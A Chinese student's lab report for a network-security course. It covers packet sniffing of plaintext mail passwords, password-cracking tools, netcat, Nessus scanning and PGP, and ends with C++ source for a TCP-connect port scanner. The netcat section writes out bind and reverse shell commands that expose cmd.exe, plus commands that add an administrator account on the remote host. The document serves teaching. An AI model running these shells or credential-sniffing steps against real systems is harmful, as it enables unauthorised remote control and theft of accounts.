网络与信息安全实验报告

时间:2024.4.20

中国海洋大学

实验报告

课程名称:网络与信息安全

任课教师曲海鹏

学生姓名甘言海

学生学号020332010027

专业班级计算机信息保密2010

学院名称信息科学与工程学院

20##1220

实验一(报文监听)

一、        实验目的

1.       安装、配置、使用、卸载报文监听软件Wireshark(Ethereal)

2.       使用Wireshark监听其他主机间的网络通信

3.       使用Wireshark监听网络通信中明文传输的帐号、口令

4.       通过配置过滤规则,监听特定类型的数据包

5.       认识网络协议的传输内容和工作方式以及存在的安全漏洞

二、        实验步骤

1.       安装 Wireshark(Ethereal)

1)      根据提示将软件安装到D盘,默认全部安装。

2)      安装过程中间会提示安装WinPcap,默认安装。

3)      安装结束。

2.       监听本机和特定主机通信

1)      取消监听选项中的混杂模式设置,只监听本机通信

2)      设置监听过滤器,只监听相邻主机的通信

3)      查看监听结果

3.       ICMP报文监听

1)      设置过滤器,只监听ICMP类型的数据包

2)      在另外一台主机上运行ping  x.x.x.x –t 命令,其中x.x.x.x为任意IP地址

3)      本机查看监听结果,并得出x.x.x.x代表的IP地址

4.       POP3监听

1)      一台主机安装winmail,增加一个账号:test,并将口令告诉另一主机用户

2)      设置过滤器,只监听POP3类型的数据包

3)      另一主机开启outlook express,增加一个test帐号,并设置为每分钟接收一次邮件

4)      根据监听结果,写出本网段test帐号的口令

5.       SMTP监听

1)      设置过滤器,只监听smtp类型的数据包

2)      一台主机使用webmail新建的账户登录邮件服务器,发送邮件

3)      根据监听结果,写出发送方和接收方,以及发送邮件标题

三、        实验结果

1.       成功监听到两个主机之间的通信内容,无加密通信很容易被第三方监听而导致信息泄露

2.       监听到两通信主机之间的ICMP回送请求报文和ICMP回送回答报文,并从中分析出IP地址

3.       通过设置监听过滤器,POP3协议的通信数据完全暴露,可以得出接收邮件的账号和口令

4.       监听SMTP数据,从IP数据报中得出发送发和接收方的邮件账号及邮件标题


实验二(攻击技术)

一、        实验目的

1.       了解常见攻击技术的原理以及各自的特点和适用环境

2.       了解本地口令的安全设置策略

3.       掌握如何提高口令的安全性以对抗这些口令破解攻击方法

4.       了解网络和信息传输中存在哪些威胁及漏洞

二、        实验步骤

1.       口令暴力破解

1)      使用 arpr,破解压缩文件的加密口令

ü  安装arpr,并启动软件

ü  创建压缩文件test.rar

ü  打开待破解的文件test.rar

ü  设置暴破的密码范围,长度等

ü  点击开始,开始暴力破解

ü  等待破解结束,得到明文密码

2)      使用aoepr,破解outlook express的账户口令

ü  安装aoepr,并启动软件

ü  打开Outlook,新建测试帐户

ü  添加一个邮件帐户,用于测试密码恢复

ü  启动Aoepr,对目标帐户进行密码破解,点击Mail

ü  等待账户密码被成功破解

2.       NetCat工具的使用

1)      使用netcat进行端口扫描

ü  和另一位同学组成小组,分别关闭防火墙

ü  我在命令行输入nc -v -l -p 1027,对1027端口进行监听

ü  另一位同学输入nc  -vv  -z  -w  1  x.x.x.x  1024-1030,对我的主机端口进行扫描,其中x.x.x.x代表我的主机的IP地址或主机名,1024-1030代表端口范围

ü  记录扫描结果

2)      使用netcat控制远程主机

ü  和另一同学组成一组

ü  在我的主机命令行里输入nc  -v  -l  -p  a  -e cmd.exe,绑定cmd.exe 到a端口,其中a为1024—65535

ü  另一同学使用nc   x.x.x.x   a命令连接到我的主机,x.x.x.x是我的主机的IP地址,a为端口号

ü  连接后,在另一同学的主机上运行命令echo  hello_remotehost  > d:\remote在D盘根目录下创建一个名为remote的文件夹

ü  使用命令 net user查看远程用户列表

ü  使用命令net user /add test在远程主机上增加一个用户test

ü  用命令net localgroup /add administrators test将刚刚创建的test用户加入管理员组

ü  通过 net user test 命令查看test帐户的属性

ü  通过net user /delete test删除账户test

3)      使用netcat反向连接控制远程主机

ü  和另一位同学组成小组

ü  在我的主机上键入命令nc   -vv -l     -p   a,对端口a进行监听

ü  另一主机使用命令nc      -e   cmd.exe     x.x.x.x  a进行反向连接

三、        实验结果

1.       单独的数字口令很容易破解,但是若加上字母构成数字字母混合的口令破解时间将大大增长,若是再加上特殊字符则破解难度更大,同时要增加口令的长度使暴力破解的时间加长

2.       可以利用netcat将端口绑定到某个具体的应用程序,监听某个端口,扫描远程主机端口,远程连接到一个主机,或者使用netcat反向连接到远程主机


试验三(脆弱性扫描)

一、        实验目的

1.       通过脆弱性扫描工具实验,了解脆弱性扫描技术的原理、配置和使用

2.       学会脆弱性扫描工具Nessus的安装、配置、使用、卸载

二、        实验步骤

1.       安装Nessus3

1)      将Nessus-3.0.5.exe及相关帮助文档复制到本地文件夹下

2)      运行Nessus-3.0.5.exe,根据提示,将程序安装至D盘

3)      等待Nessus更新并加载插件

4)      安装成功,点击Finish完成安装

2.       端口扫描

1)      关闭防火墙

2)      配置扫描策略,首次配置点击新建策略

3)      在弹出窗口中,输入新添加的策略名portscaner,单击确定

4)      选择插件,仅选择port scanner;

5)      设置扫描端口范围

6)      设置扫描服务器

7)      选择扫描策略,选刚刚新建的策略portscaner

8)      开始扫描,等待结束并查看对方开放的端口

3.       脆弱性扫描

1)      新建扫描策略weaknessscan

2)      选择所有插件

3)      设置扫描服务器IP地址

4)      选择扫描策略weaknessscan

5)      开始扫描,等待扫描结束,查看扫描结果

三、        实验结果

1.       端口扫描能以较高的效率扫描主机端口的打开情况,并显示端口使用的协议和应用程序ID号,扫描结果以网页的形式在浏览器中打开

2.       脆弱性扫描能较为全面的扫描主机存在的安全漏洞或可能面临的安全隐患,端口打开情况,文件共享情况,网络连接情况等等

试验四(加密与数字签名工具)

一、        实验目的

1.       通过加密与数字签名工具实验,了解加密与数字签名技术的原理和实现

2.       使用PGP软件进行密钥生成、文件的加密解密、数字签名与验证

二、        实验步骤

1.       安装 PGP

1)      运行安装文件,系统自动进入安装向导

2)      选择用户类型,由于是首次安装,选择No, I’m a New User

3)      确认安装的路径,这里选择默认安装路径

4)      选择安装相应的应用组件

5)      等待安装结束,并重新启动计算机

2.       密钥对生成

1)      找到开始菜单中的PGP程序 ,在菜单中选择PGPKeys,在 Key Generation Winzrad提示向导下,创建密钥对

2)      在对话框中的“Full Name”项目中输入一个字符串, 然后在“Email Address”项目中输入自己的邮件地址,然后点击“下一步”

3)      输入保护私钥的PIN码,系统开始自动创建密钥对

4)      将密钥中的公钥部分导出,传送给相邻的同学

3.       加解密

1)      另一位同学事先创建一个文本文件,命名为test.txt,并在其中输入一些有意义的文字

2)      收到我的公钥后,另一位同学选择导入

3)      对方使用我传送过去的公钥,对文件进行加密,加密后的文件会在原文件名后面添加.pgp扩展名,即生成test.txt.pgp文件

4)      对方将加密后的文件传送给我

5)      对接收到的加密文件右键进行解密,输入私钥的访问密码,然后点击确定,生成解密后的文件

4.       数字签名

1)      我事先创建一个文本文件file.txt,并在文件中输入一些文字

2)      我使用自己的私钥对文件进行签名,按照提示输入私钥访问密码,签名后的文件,会被添加.sig扩展名,生成file.txt.sig文件

3)      我将签名后的文件和原始文件一起传送给验证方

4)      验证方先对导入的公钥添加信任,然后对接收到的签名文件进行验证

三、        实验结果

1.       成功生成密钥对,私钥用PIN码进行保护,存储在本地磁盘上

2.       对方在收到公钥后,对文件加密,将加密后的文件test.txt.pgp发送回来后用私钥解密正确,能完全恢复明文

3.       在对文件用私钥签名生成file.txt.sig文件后发送给验证方,验证方在对公钥添加信任后,验证通过

4.       验证方对发送方身份的验证基于对发送方公钥的信任


试验五(端口扫描器的设计与实现)

一、        概要设计

1.       原理概述

通过调用socket函数connect()连接到目标计算机上,完成一次完整的三次握手过程。如果端口处于侦听状态,那么connect()就能成功返回。否则,这个端口不可用,即没有提供服务

2.       运行环境

Windows或Linux环境下,程序在单机上运行

3.       基本设计思路

1)      使用TCP connect进行端口扫描,并对扫描结果进行记录

2)      能对一台主机进行扫描,并显示出结果

3)      能对一个网段进行IP扫描,显示出结果

4)      编程语言使用C++

5)      提供友好的用户界面

4.       功能模块设计

1)      数据定义部分,套接字和地址结构等数据的定义和初始化

2)      窗口界面部分,负责用户命令的接受与分配,功能函数和线程的调度,显示方式的变化等

3)      扫描部分,根据用户选择的扫描方式进行主机端口或网段的扫描,数据的更新

二、        详细设计

1.       提供IP地址和端口的输入框,扫描结果在编辑框中输出。提供切换按钮,使用户能够在主机扫描和网段扫描之间进行切换。

2.       采用多线程工作方式,主线程和扫描线程分开,以实现更友好的显示效果和操作体验,防止窗口因扫描而阻塞。

3.       主机端口扫描使用一层循环,对范围内的端口号逐个测试。网段扫描使用两层循环,第一层循环遍历网段内的每台主机,第二层循环对每台主机的端口号进行扫描。

4.       扫描线程通过发送消息通知UI线程更新窗口

5.       程序框架图

 

消息(更新窗口)

三、        程序使用说明

1.       点击左侧按钮选择扫描方式,分为主机扫描和网段扫描两种扫描方式

2.       在主机扫描中,输入主机IP地址和要扫描的端口范围,点击按钮“开始”,开始端口扫描

3.       在网段扫描中,首先输入网段的起始IP地址和终止IP地址,然后输入要扫描的端口范围,最后点击按钮开始扫描

4.       当输入的起始IP地址大于终止IP地址,或起始端口号大于终止端口号时,扫描不会进行,其中端口号只允许输入数字

5.       扫描结果会逐条显示在下方的编辑框中,等待扫描结束

四、        程序分析与总结

1.       以能否建立TCP连接来判断端口是否打开,由于每次都要完成建立TCP连接的三次握手或者等待超时,扫描的效率并不是非常高

2.       采用UI线程与扫描线程分开后要注意数据的互斥与同步,窗口的更新应放在UI线程里。但这样做的好处是防止因扫描而导致窗口阻塞,无法拖动或进行其他操作

3.       要注意主机数据格式和网络数据格式的转换,因为他们的字节顺序可能不一致,这样可以保证数据的正确传输和处理

4.       程序运行效果截图

1主机端口扫描

2扫描网段


附录

一、        定义更新窗口消息类型号

#define WM_REFRESH WM_USER+100

二、        窗口类定义及线程函数声明

class CSecurityDlg : public CDialog

{

// Construction

public:

      CSecurityDlg(CWnd* pParent = NULL); // standard constructor

      void Scan();      //扫描方法声明

// Dialog Data

      //{{AFX_DATA(CSecurityDlg)

      enum { IDD = IDD_SECURITY_DIALOG };

      CStatic   m_picture;     //控件定义

      CStatic   m_zz;

      CIPAddressCtrl    m_IP2;

      CIPAddressCtrl    m_IP1;

      UINT      m_PORT1;

      UINT      m_PORT2;

      CString  m_result;

      //}}AFX_DATA

      // ClassWizard generated virtual function overrides

      //{{AFX_VIRTUAL(CSecurityDlg)

      protected:

      virtual void DoDataExchange(CDataExchange* pDX);      // DDX/DDV support

      //}}AFX_VIRTUAL

// Implementation

protected:

      HICON m_hIcon;

      SOCKET sock;

      sockaddr_in address;

      // Generated message map functions

      //{{AFX_MSG(CSecurityDlg)

      virtual BOOL OnInitDialog();

      afx_msg void OnPaint();            //消息处理函数声明

      afx_msg HCURSOR OnQueryDragIcon();

      afx_msg void OnButtonhost();

      afx_msg void OnButtonnet();

      afx_msg void OnButtonscan();

      afx_msg void OnRefresh(WPARAM w,LPARAM l);  //声明更新窗口的消息处理函数

      //}}AFX_MSG

      DECLARE_MESSAGE_MAP()           //使用消息映射机制

};

UINT Work(LPVOID p);       //声明线程函数

三、        初始化操作

BOOL CSecurityDlg::OnInitDialog()

{

      CDialog::OnInitDialog();

      // Set the icon for this dialog.  The framework does this automatically

      //  when the application's main window is not a dialog

      SetIcon(m_hIcon, TRUE);                // Set big icon

      SetIcon(m_hIcon, FALSE);         // Set small icon

     

      // TODO: Add extra initialization here

      address.sin_family=AF_INET;     //使用IP地址协议簇

      return TRUE;  // return TRUE  unless you set the focus to a control

}

四、        扫描方式切换按钮消息响应函数

void CSecurityDlg::OnButtonhost()  //单击“扫描主机”按钮

{

      // TODO: Add your control notification handler code here

      m_IP2.ShowWindow(SW_HIDE);   //隐藏终止IP地址输入框

      m_zz.ShowWindow(SW_HIDE);    //隐藏“—”符号

}

void CSecurityDlg::OnButtonnet()   //单击“扫描网段”按钮

{

      // TODO: Add your control notification handler code here

      m_IP2.ShowWindow(SW_SHOW);  //显示终止IP地址输入框

      m_zz.ShowWindow(SW_SHOW);   //显示“—”符号

}

五、        扫描按钮消息响应函数

void CSecurityDlg::OnButtonscan()  //单击“开始”按钮

{

      // TODO: Add your control notification handler code here

      UpdateData(TRUE);     //获取窗口输入数据

      AfxBeginThread(AFX_THREADPROC(Work),this);   //创建并启动扫描线程

}

六、        扫描线程函数

UINT Work(LPVOID p)

{

         ((CSecurityDlg*)p)->Scan();  //调用“Scan”方法,开始扫描

         return 0;

}

七、        扫描方法

void CSecurityDlg::Scan()   //定义扫描方法

{

      DWORD dword,mdword;  //用于记录IP地址

      CString str;     //记录输入、输出数据的字符串

      m_result="";    //清空输出框数据

      m_IP1.GetAddress(dword);  //获得起始IP地址

      if(m_IP2.IsWindowVisible())  //判断扫描方式,true是网段扫描,false是主机扫描

      {

             for(m_IP2.GetAddress(mdword);dword<=mdword;dword++) //遍历网段内的主机

             {

                    address.sin_addr.S_un.S_addr=htonl(dword);    //给地址结构赋予IP地址

                    for(unsigned int j=m_PORT1;j<=m_PORT2;j++)   //逐端口测试

                    {            

                           address.sin_port=htons(j);  //给地址结构赋端口值,要转换为网络字节顺序

                           sock=socket(AF_INET,SOCK_STREAM,0);  //新建套接字

                           if(connect(sock,(sockaddr*)&address,sizeof(address))==SOCKET_ERROR)  //建立连接失败

                           {

                                  str.Format("主机%s,端口%u关\r\n",inet_ntoa(address.sin_addr),j);

                                  m_result+=str;

                           }

                           else  //建立连接成功

                           {

                                  str.Format("主机%s,端口%u开\r\n",inet_ntoa(address.sin_addr),j);

                                  m_result+=str;

                                  closesocket(sock);

                           }

                           SendMessage(WM_REFRESH);  //发送消息,更新窗口

                    }

             }

      }

      else     //扫描主机

      {     

             address.sin_addr.S_un.S_addr=htonl(dword);    

             for(unsigned int i=m_PORT1;i<=m_PORT2;i++)

             {

                    address.sin_port=htons(i);

                    sock=socket(AF_INET,SOCK_STREAM,0);

                    if(connect(sock,(sockaddr*)&address,sizeof(address))==SOCKET_ERROR)

                    {

                           str.Format("端口%u关闭\r\n",i);

                           m_result+=str;

                    }

                    else

                    {

                           str.Format("端口%u打开\r\n",i);

                           m_result+=str;

                           closesocket(sock);

                    }

                    SendMessage(WM_REFRESH);

             }

      }

}

八、        将更新窗口消息和消息处理函数关联起来,即加入消息映射表

BEGIN_MESSAGE_MAP(CSecurityDlg, CDialog)

      //{{AFX_MSG_MAP(CSecurityDlg)

      ON_WM_PAINT()

      ON_WM_QUERYDRAGICON()

      ON_BN_CLICKED(IDC_BUTTONHOST, OnButtonhost)

      ON_BN_CLICKED(IDC_BUTTONNET, OnButtonnet)

      ON_BN_CLICKED(IDC_BUTTONSCAN, OnButtonscan)

      ON_MESSAGE(WM_REFRESH,OnRefresh)   //关联更新窗口消息和消息处理函数

      //}}AFX_MSG_MAP

END_MESSAGE_MAP()

九、        更新窗口消息处理函数定义

void CSecurityDlg::OnRefresh(WPARAM w,LPARAM l)

{

   UpdateData(FALSE);  //将数据显示到窗口}

更多相关推荐:
信息安全实验报告

中国地质大学江城学院信息安全实验报告姓名专业班级学号指导教师1目录实验1RAR文件密码破解3实验2用C语言编程实现凯撒密码加密4实验3扫描器XScan的使用5实验4宏病毒分析及清除实验6实验5实验6实验7实验1...

信息安全实验报告

南昌航空大学实验报告课程名称信息安全实验名称共五次实验班级姓名同组人指导教师评定签名实验一木马攻击与防范一实验目的通过对木马的练习使读者理解和掌握木马传播和运行的机制通过手动删除木马掌握检查木马和删除木马的技巧...

信息安全实验报告--2

南昌航空大学实验报告20xx-09-27课程名称:信息安全实验名称:实验二网络端口扫描班级:080611学生姓名:谈家平学号:08061123指导教师评定:签名:一、实验目的通过练习使用网络端口扫描器,可以了解…

信息安全实验报告

武汉理工大学学生实验报告书实验课程名称信息安全开课学院计算机科学与技术学院指导老师姓名学生姓名学生专业班级20xx20xx学年第二学期实验课程名称信息安全实验课程名称信息安全实验课程名称信息安全

信息安全实验报告

实验一信息安全工程需求分析一实验目的掌握信息安全工程常用软件Visio20xx的使用掌握信息安全工程需求分析的一般步骤及信息安全需求分析说明书的编写二实验原理以教材中信息安全工程需求分析的理论为指导参考信息安全...

网络与信息安全-------实验指导书(8次)

网络与信息安全实验指导书目录实验1office口令破解工具aoxppr的使用实验2Word宏病毒实验实验3用C语言编程实现古典替代密码凯撒密码实验4ARP地址欺骗实验5TCP与UDP端口扫描实验6RealSpy...

信息安全实验报告2-2

课程实验报告123

信息安全个人基础实验报告

实验4信息隐藏和加解密关于DES和RSA加密算法的实验报告实验环境与实验目的C语言完成对记事本格式文件的信息隐藏加密和提取解密过程DES算法概述DES算法为密码体制中的对称密码体制又被称为美国数据加密标准是19...

《信息安全》实验报告4_网络扫描

信息安全实验报告4网络扫描实验名称指导教师完成日期20xx1120计算机科学与技术班级专业姓名

《信息安全》实验报告3 MD5的计算和破解

信息安全实验报告320xx116MD5的计算和破解指导教师实验名称于泳海完成日期信息管理与信息系统班级11级新本班姓名专业贾文丽

煤矿安全监控—实习报告

实习报告实习性质学生姓名专业班级指导教师实习时间实习地点重庆工程职业技术学院1目录一煤矿安全检测监控设计的思想4二安全检测监控系统概述41矿井灾害种类程度及设置安全监测系统的重要性42安全监测监控系统设置的条件...

信息安全专业的专业认识实习报告

编号:计算机科学与技术学院专业认识实习报告时间:年月计算机科学与技术学院制

信息安全实验报告(20篇)